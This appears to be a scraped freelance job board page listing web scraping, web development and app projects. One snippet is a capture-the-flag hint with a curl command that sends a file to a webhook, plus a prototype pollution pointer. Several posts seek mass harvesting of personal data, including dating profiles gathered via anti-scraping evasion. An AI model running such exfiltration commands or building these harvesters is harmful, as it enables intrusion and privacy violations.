Web scraping node js puppeteer jobs

I'm on the hunt for a skillful coder proficient in web scraping, specifically for Website A. The goal of this project is for obtaining valuable and significant data for analysis, competitive intelligence, and price comparison. While there's no explicit mention of the type of data to be scraped, I anticipate that a capable offering will cater to a variety of needs such as: - Text content - Image content - Metadata Ideal Experience and Skills: - Proven experience with web scraping - High proficiency in handling large data sets - Comfort in navigating Website A - Ability to collect comprehensive data categories Looking forward to a potential collaboration to achieve this goal!

I need a developer to help me create an automated web scraper. - This scraper should be able to operate on multiple websites. The ideal candidate should have experience in web scraping, data extraction, and automation. The ability to adapt to different types of data and websites is essential. Thank you

I'm in need of a talented elementor website designer with the knowledge of Javascript and jquery, css3 and html who can transform a Figma prototype into a visually appealing and functional business website. Key Requirements: - ...Requirements: - Transform a Figma prototype into a Pixel perfect designed website - Ensure design is responsive and 100% similar to the figma Ideal Skills: - Experienced in designing business websites - Skilled in Elementor - Strong knowledge of JS, JQuery, CSS3, HTML, Elementor & PHP - Excellent communication and collaboration skills Check out the prototype from this link:

***this is a GUARANTEED PROJECT for a QUALIFIED person.*** Looking for the below design to be done on elementor. It has to be 100% similar to the prototype that has given in the link. This project is time sensitive. you will have only 1 day to design the page pixel perfect and responsive. PROJECT for a QUALIFIED person.*** Looking for the below design to be done on elementor. It has to be 100% similar to the prototype that has given in the link. This project is time sensitive. you will have only 1 day to design the page pixel perfect and responsive.

I'm looking for an Indian Python developer to create a script that can retrieve specific data from Telegram. Key Points: - The script should be able to fetch phone numbers and migration of users from Telegram. The ideal candidate should: - Have a strong background in Python development - Be familiar with working with API's - Have experience in web scraping - Have a good understanding of data privacy and security - Be able to deliver the project on a monthly basis. Looking forward to hearing from Python developers with relevant experience.

We are seeking a skilled developer or development team to create a comprehensive web crawler system. This system should scrape, structure, and update information from web pages, handle large projects, and be accessible via a powerful API. The system should offer user-friendly features for both individuals and businesses and include flexible user management for both customers and employees. Project Requirements 1. Web Crawling and Data Extraction -Develop a system capable of scraping entire websites and extracting data from each page. -The system should divide the scraped information into sections to facilitate easy reading and understanding. -For e-commerce sites, the system should identify and structure the following information: --Product category (including ...

Hi, I need the following scraped. You can use scraping software or script. YellowPages might be the easiest - law firms and lawyers - only name and email - Colorado, USA

I need historical stock prices and income statement data, deliver python script to collect this data for an arbitrary stock from google finance.

Hello, This is a $20 project. Looking for a freelancer to develop a python script to retrieve restaurant data from Google Maps using the Maps/Places API. The script should target restaurants that have a phone number and *do not* have a website. The inputs I need to enter are: - Location (latitude and longitude) - Search Radius (in meters) - Ensure the business/place is a restaurant, bakery, etc. Key Data to Retrieve, output in a .CSV: - Business Name - Address - Phone Number - Google Maps URL Thank you, trooper501

I'm in need of a skilled professional to help me create a data mining script. The task involves mining emails, data from a certain website and delivering the data in...and delivering the data in a raw text file format. Key Requirements: - Develop a data miner script that can effectively scrape email data from websites. - Ensure the script can handle multiple sources and is scalable for future needs. - Deliver the mined data in a raw text file format. Ideal Skills: - Proficiency in web scraping and data mining techniques. - Experience with developing scripts for text data mining. - Strong knowledge of scripting languages suitable for scraping like Python/BeautifulSoup, R, etc. Please provide samples of your previous similar projects or portfolio that demonstra...

...to a full-time role. Please include your relevant experience, portfolio and availability in your proposal. OVERVIEW: We have created our own web-based digital dignsge content and screen management system. The cms allpws us to control the content displayed in-store TV screens. The platform can be seen here: - If you have digital signage experience this will be ideal (this is not building a website) - Fluent English speaking - We would like to work with a freelancer, not a company (paid hourly) - Proven development experience (sample of similar works required) - Experience in Android: java | Windows: c# | - Web-based CMS: PHP/JS, HTML and CSS - Experience in RSS/XML will be an advantage. Someone reliable, hard-working, English speaking, and skilled. Some of the ...

I will provide you code as discussed

...</head> <body> Forbidden <script>(function(){if (!) return;var js = "window['__CF$cv$params']={r:'885cdcdf3f9f9180',t:'MTcxNjA0NTk1Ny4wMzIwMDA='};_cpo=('script');_cpo.nonce='',_cpo.src='/cdn-cgi/challenge-platform/scripts/jsd/',('head')[0].appendChild(_cpo);";var _0xh = ('iframe'); = 1; = 1; = 'absolute'; = 0; = 0; = 'none'; = 'hidden';(_0xh);function handler() {var _0xi = || ;if (_0xi) {var _0xj = ('script'); = js;('head')[0].appendChild(_0xj);}}if (

Full stack developer to maintain and enhance a web application which is now in production Key technologies- vue js, web applications, api , production support , gcp

I'm in search of a talented web developer who is proficient in HTML, CSS, JavaScript, and React JS. Your familiarity with React and Angular is a big plus. The ideal candidate should also be adept at creating an e-commerce site and have a knack for user registration/login systems and responsive designs. Key Project Requirements: - Proficiency in HTML, CSS, JavaScript, and React JS - Experience with Angular - Creation of a user registration and login system - Development of an e-commerce functionality - Strong portfolio creation abilities - Skilled in creating responsive design for websites Your role will be pivotal in the creation of a comprehensive website that is user-friendly, visually appealing, and capable of handling e-commerce transactions. Please be rea...

I need help setting up my nextjs website's cookie consent to be compatible with Google Consent v3. Key Requirements: - Write codes to setup cookie consent with google tag manager. - Ensure the cookie consent setup is specifically for Google Consent v3 compatibility. - Make sure the setup with Google tag manager. Ideal Skills: - Next js. - Familiarity with Google Consent Mode v3.

I'm looking for someone who can...for someone who can create a WordPress plugin for scraping manga websites. Plugin Requirements: 1. Grab per chapter by link. 2. Grab full chapter by link. 3. Grab new manga by link. 4. Compatible with various manga themes. 5. Images from the scraped content should be uploaded to s3 storage. 6. Must have 10 sources for scraping (with a guarantee that if one source fails or the website goes down, it can switch to another source). Usage Flow: 1. I create a manga post and fill in the manga link in the metabox. 2. The plugin will automatically fill in the chapter links, scrape HTML images, and create posts. It will also automatically fill in the chapter number and the manga post ID number based on the manga link. Note: Speed during sc...

We are looking for a programmer to create the search engine for our magento 2.4.6 with Proto Theme website using A...website using Algolia search. The programmer has to implement the algolia search engine using his own code following the guidelines published by Aloglia to use it in the main page and in the search results page. It must include the following Filtering by attributes ( brands, specific attributes, color, etc) Keyword filtering Filtering by categories The search results should be displayed in a js block on the home page and in the search results. The theme used in magento 2.4.3 is "Fatest by codazon". Please only serious people, we don't want people who spend half as much time searching as doing the work on stackoverflow. Some examples of how we w...

I need a solution that can automatically insert page numbers onto every A4 page in my document at the bottom. Key Requirements: - The system should work with A4 format. - It should be able to insert these page numbers automatically and consistently on every page. - The page numbers should be placed at the bottom of each page. Ideal Freelancer: - Experience working with PDF manipulation and automation. - Proficient in software that can perform automatic page numbering. - Attention to detail in maintaining consistency in design and positioning of the page numbers.

I'm in need of a professional who can consistently extract data from a specific website on a daily basis. Key Requirements: - Data Extraction: Extracting various forms of data from a website. - Ongoing basis: This is not a one-time job. I'm looking for long-term cooperation, with the extraction ideally happening on a daily schedule. Ideal Skills and Experience: - Web Scraping: Proficiency in web scraping tools and techniques is a must. - Automation: Experience with automating the extraction process to make it efficient. - Consistency: Ability to maintain a daily extraction schedule accurately is crucial. Please include in your bid how you plan to approach this sort of ongoing data extraction.

I need a professional who can extract data from a website on a daily basis. Key Responsibilities: - Extracting data from a specified website - Ensuring the data is accurate and up to date - Delivering the data in a specified format Skills and Experience: - Proficient in web scraping and data extraction - Experience in automating data extraction processes - Ability to maintain data accuracy and consistency - Knowledge of relevant data formats for delivery - Strong attention to detail and reliability This is an ongoing project, and I need someone who can commit to daily extractions. Be sure to include relevant experience in your bid.

...that the software is designed to run on Windows OS. Website Accessibility: - Restricted access: Websites that require restricted access or login should be identified and reported separately. The software should skip such pages and indicate them as inaccessible. Ideal candidates should possess: - Proficiency in software development and experience in creating similar tools. - Familiarity with web scraping, data extraction, and bulk processing. - Prior experience in creating Windows-compatible software. - Strong attention to detail and the ability to accurately handle and report inaccessible URLs. As the client, I am open to the choice of programming language(s), as the final product is more important to me. The primary goal is to have a reliable and efficient tool that c...

Need support for react web applications i.e., small and medium enhancements to connect daily for 1 hour. Strong react basics including huge knowledge in CSS with Javascript and node js required.

...terminal command you want to execute on the website: Visit to create a new webhook for receiving incoming web requests. Copy your unique URL from the webhook website and replace {webhook} in the following terminal command. This is the command that you want to execute on the website that will send / to your webhook. curl -F flag=@/ {webhook} To connect to the challenge go to hint 1: You can pollute NodeJS applications, Alex did a talk about it and the slides are available to read at where the important slides for this challenge are 17-53. hint2: The web application is using the EJS template engine for rendering templates. Alex talked about a Prototype Pollution gadget that could

...of organizations. The ideal freelancer for this project should have: - Experience in web scraping, particularly with LinkedIn data - Ability to extract data at scale - Proficiency in organizing and structuring data for clear analysis - Strong attention to detail to ensure data accuracy The project involves: - Using the provided list of target companies to source employees' data - Identifying individuals who have previously worked at the provided specific companies - Compiling the data in a spreadsheet format for delivery The successful applicant should not only have the required technical skills but also the capability to deliver quality and timely results. Please showcase your experience in web scraping and the relevant tools you intend to use to ens...

I need a Python developer to create a bot that scrapes data from APIs on an hourly basis. - The bot's primary function is to scrape data - The data will be sourced from APIs - The bot needs to run on an hourly basis Ideal candidate: - Proficient in Python and API data scraping - Familiarity with creating bots - Able to ensure smooth hourly operation, possibly using a scheduling library such as APScheduler

I'm looking for a...Facebook, and Instagram and all over the internet Key responsibilities: * Extracting Email leads, Phone number leads, and Social media leads. * Collecting specific data - Name, Job title, Company, and Location, email and phone numbers Ideal freelancers for this project should have: * Extensive experience in data scraping, especially on the platforms mentioned above. * Proficiency in data mining techniques and possessing advanced analytical skills. * Understanding of ethical data scraping practices. * Strong attention to detail - ensuring all data is accurate and up-to-date. * Proven track record of delivering quality leads in a short timeframe. Get in touch if you're up for the task. I value clear communication and timely delivery. Looking f...

I need a Figma expert who can take my specific design idea and turn it into a comprehensive prototype for a community yellow pages app. This prototype will be key to visualizing and testing the app's functionality before the development stage. Key Project Requirements: - Proficiency in Figma: You should be skilled in utilizing Figma's features to create a professio...of the purpose of each feature within the app. Below is a link for what I created so far in Figma. I would like to improve the design and add a few more pages to the prototype as well as make it more user friendly for testing. The app will be similar to below pages where the user can search for businesses in the community.

I'm in search of a skilled .Net mobile developer to finalize my .Net Maui mobile application. The key tasks include: - Implementing the logic, specifically around user interface interactions. - Although user authentication, data synchronization, and push notifications were not explicitly mentioned, familiarity with these aspects would be advantageo...both .Net and Maui and can confidently complete the application. Ideal skills and experience: - Proficiency in .Net and Maui - Experience in mobile application development - Understanding of user interface interactions - Knowledge in user authentication, data synchronization, and push notifications will be an advantage. Figma UI: Swagger attached

Requirement: experience in Node.js building applications and experience in migrating the monilithic application to microservices architecture applications. Experience in kafka for queuing. Experience in mongodb for database and angular for frontend. PS: This project is a very good opportunity for the developers who wants to learn development from scratch using modern micro service architecture This is a to support my job opportunity. Consultancies and companies please stay away. Need someone with good experience on NodeJs to help me understand my project, resolve blockers and provide constant feedback to improve myself.

...betting using cryptocurrencies. - Ensuring the website is optimized for both desktop and mobile platforms to ensure seamless user experience. - Implement a simple, yet functional user account system. Ideal Skills and Experience: - Proficient in cryptocurrency integration and security to facilitate betting transactions. - Experience in sports betting or online gaming platforms. - Strong background in web development, with a focus on user interface and experience design. - Prior experience with developing and optimizing websites for desktop and mobile platforms. Details of betting Application Description: Blockchain Betting Site Overview: This application is a decentralized betting platform where users can bet on sports games using a custom cryptocurrency token. Users can place...

I need a skilled Web Scraping specialist to write code in Python (preferably) that scrapes a specific table from a website for me (Website: ). The table contains WNBA player statistics, The goal is to extract all columns of this table, which is approximately 7 columns and write it to a CSV file (in the same column format). I'm a beginner level coder, and noticed that the table was created with that looks like a Shiny App in R. (I'm not even sure if extracting the table is possible). If it was only possible to use R, then I could potentially work with that. Website: I would like the data to go from the year 2020 to current. Regular Season data. Key Requirements: - Scraping Tables on websites If you're

I am looking to establish a long-term relationship with a talented person to scrap thousands of dating profiles from popular dating websites. This person should have years of experience dealing with the various countermeasures these sites will employ to discourage scraping. The use of proxies may be needed to achieve satisfactory results. The end goal to to have a system capable of delivering 20K - 40K profiles per day.

...single instance. - Compute resources: The reduction should align proportionately with the decrease in application instances. This is an IBM Maximo Application Suite installation that was done with an AWS Marketplace Template "IBM Maximo Application Suite (BYOL)". The template built all the instances (9 including 3 masters, 3 workers, and 3 workers (using m5.2Xlarge and m5.4xlarge) along with a boot node and bastion host) and the volumes (26 of them with 6.23 TB of storage being used) and it is way overkill for just using as a sandbox to learn in and educate. They had no other Template option when installing. Ideal Skills & Experience: - Expertise in handling the Red Hat OpenShift environment - Strong knowledge of AWS and instance management - Prior experience in a...

I need a VRBO scraper to extract property details, pricing, and availability. - The scraper should be built with Python and the output should be in CSV format. - The data points I need include property title, description, amenities, pricing, and availability. - The scraper should be able to handl...and availability. - The scraper should be built with Python and the output should be in CSV format. - The data points I need include property title, description, amenities, pricing, and availability. - The scraper should be able to handle multiple URLs at once. - The code should be well-structured and commented for easy maintenance. Ideal skills: - Proficiency in Python - Experience in web scraping - Understanding of VRBO website structure - Ability to handle and store d...

I need a web scraping professional to create a script to extract specific data from , a popular online marketplace for trading cards, please check attachement to get the idea. Key Requirements: - Scrapping: The primary task is to scrape the following information from the platform: - Card properties 1. Hero score for last 7 days 2. Hero rank for last 7 days 3. Stars 4. Rarity 5. Name 6. Quantity listed to purchase 7. Inflation data 8. Minted count - Buy prices List Price Last Price Order book (price and quantity see picture attached) - Bidding details bids book (bid and quantity see picture attached) - Twitter activity per card View Views+ Likes Likes+ Retweets Retweets+ Replies Replies+ Quotes Quotes+ Bookmarks Bookmarks+

I'm seeking a Python developer experienced with web scraping. This job involves setting up a Python script that can scrape a popular review site. Key details to extract: - Review text - Star rating - Date of review - Reviewer name - Star-ratings for sub-categories - Review ID - Reviewed person - Reviewed product name The site does not use captchas, so it should be reasonably straightforward. All reviews for a given provider should be scraped. It would be good to have an option to start with the newest and stop at a certain date. The specific review site can be seen in the sample URL in the attached PDF. I can send further details in a private message including screenshots. Preferred frameworks would be Beautifoulsoup 4 / Scrapy if sufficient and Selenium otherwise....

...stations by name or zip code, and a list of station names accompanied by location information. Map should allow zoom and going to country specific. So users can see entire map of their country with locations. Ideally we want world map to show first. I want tabs where users can switch between USA or world map. This page will go onto and can be with html 5 and css and js. Key Features: - Display of Sister Radio Stations: - An interactive map should be the centerpiece of the affiliates page, showing all sister radio station locations globally. - A static map design with clickable markers is preferred, enabling users to easily navigate through different stations. - Search Functionality: - A search bar is necessary to allow users to find a specific station

...in NodeRed Monitoring specific "HTML div elements" from different web pages using Node-Red (different flows). Objective: Identify when there is any change in the DIV section of the webpages (every "x" seconds) and notify me of the change. It is not necessary to show what the change was. Just send the hyperlink by Telegram, including the subject of the flow. Requirements: Create a Node-Red project that can detect changes on multiple websites by creating flows. Include 2 example flows to demonstrate how the monitoring works. Provide detailed instructions on how to create a new flow for a different webpages, indicating what needs to be extracted/copied to set up the new flow bymyself in the future. For example, on this web page, by pr...

...data scraping project completed on multiple websites. - TASK: The task involves scraping text content from: Google searches: Commercial Real estate agency Saudi Arabia Commercial Real estate agency UAE Commercial Real estate agency Qatar Commercial Real estate agency Kuwait Commercial Real estate agency Bahrain I have made a start to the spreadsheet with a template for each of the regions which can be continued to be filled in. In the Google searches, just take the first 3 pages with the main agent listings and see what agent names/ email addresses you can find. - DATA REQUIRED: The primary data needed is text content. - TIMELINE: This is a one-time task, with no ongoing scraping requirements. Skills/Experience: - Proficiency in web scraping

I am currently seeking a skilled Node JS developer to enhance my existing web application. The main objectives are: - Add a 'Wallet System' to the web app. - Integrate the Stripe payment gateway into the system. In addition to the above tasks, I would appreciate your insights on choosing a suitable server for the hosting of the system once the upgrades are complete. Ideal skills and experience for the job: - Proficiency in Node JS and relevant web technologies. - Previous experience in integrating payment gateways, particularly with Stripe. - Strong problem-solving abilities to assist in selecting a suitable server for the hosting of the system.

I'm in need of a freelancer who can help me set up WhatsApp Web on a Cloud-based virtual machine. This setup is primarily aimed at enhancing our customer support service. Key Responsibilities: - Configuring WhatsApp Web on a Cloud-based virtual machine. - Ensuring smooth operation for customer support needs. - Includes hosting the virtual machine The ideal freelancer for this project should have: - Proficiency in JavaScript, as WhatsApp Web JS is based on it. - Experience in working with virtual machines, especially cloud-based ones. - A background in setting up whatsapp web JS Looking forward to your proposals.

I will work on these FIGMA.

...framework is built in versions that are several years old. For example Node JS 7.10.0 and MySQL 5.7.0. Everything needs to be updated to highest stable version that offers support and packages. For Node.Js that will likely be version 18 or 20 Moreover, this project offers an excellent opportunity for more development. **QUOTE: UPGRADE** -Please provide a quote for upgrade of website, iOS & Android apps, and admin panel. -The Framework described below. -Specify team size and roles. -Time frame for completion. **PLATFORM FRAMEWORK & DETAILS** Framework: React, Node, Express, React Native Frontend: React (website), Node + Express (APIs on server), React Native (mobile apps on iOS & Android), Bootstrap (making UI web responsive) B...

I'm currently looking for a skilled senior developer for a long-term commitment. The developer will primarily focus on Mobile App Development but should have a solid foundation in both mobile and web development. Key Responsibilities: - Mobile App Development (Primary) - Web Development (Secondary) Required Skills: - Proficiency in Kotlin and Swift for mobile app development - Fundamental understanding of Node and ReactJs for web development Professional Expertise: - You should have expert-level knowledge and experience in Kotlin and Swift. - It's a plus if you have a solid understanding of Node and ReactJs. Additional Requirements: - You need to sign a Non-Disclosure Agreement (NDA) and Intellectual Property (IP) agreement. - Excellent com...

I'm looking to test database scraping on a website to extract names and potentially contact emails (if available). The data doesn't necessarily need to be organized or cleaned post-extraction. Ideal Skills: - Proficiency in web scraping tools - Understanding of database structures - Familiarity with handling contact information The data should be organized in an excel and csv based on the desired layout.

I require a specialized web scraping professional with experience in extracting text and images from multiple websites. Your task will involve the following: - Scrape data from Sephora, Cult Beauty, Space nk - Extract specifically the Text, Images, Titles, Descriptions, and Prices A strong background in web scraping, data extraction, and working proficiently across different websites is critical for this project. Knowledge in web parsing methods and ability to bypass potential anti-scraping tools or blocks set up on these websites will be highly advantageous. Your goal is to accurately scrape the necessary information without causing disruption to the target websites, and ensure the data is comprehensible and ready for further use. I would li...

I need an experienced Python developer to assist with a project. The specific tasks will be discussed directly with the successful bidder. I am looking for someone who is well-versed in Python and has a strong foundation in programming. Expectations: - Ability to work independently and problem-solve - Can communicate effectively and provide updates - Previous ex...to assist with a project. The specific tasks will be discussed directly with the successful bidder. I am looking for someone who is well-versed in Python and has a strong foundation in programming. Expectations: - Ability to work independently and problem-solve - Can communicate effectively and provide updates - Previous experience with Python is a must - Familiarity with data analysis, web scraping, or auto...

I need a simple webpage to display high scores for my clicking game. The game is mostly written in .JS files and the data is stored locally as "cookies". I would like the highscores to be saved as records in a database called "Highscores". Key Requirements: - Create a simple webpage that displays high scores from the game - Integrate the highscore system with the locally stored data - Match the design of the highscore page to the existing game's design Additional Information: - I'm not sure if I need user authentication to submit scores, please provide advice on this - I would like the highscore page to have a design that matches the game's aesthetic - this includes font, color schemes, and layout. Ideal Freelancer: - Proficient in JavaScript ...

I'm in need of an HTML JS developer to refresh the front-end of my existing website. My web site uses pages that have components generated in JS. Many of the properties are created / set in javascript are difficult to support and change. I would like the properties moved to a CSS file where they can be set more easily. I need a developer who works hard and long hours like myself. Obviously excellent HTML/CSS/Javascript are essential for the right developer. May lead to more work doing exciting new development . .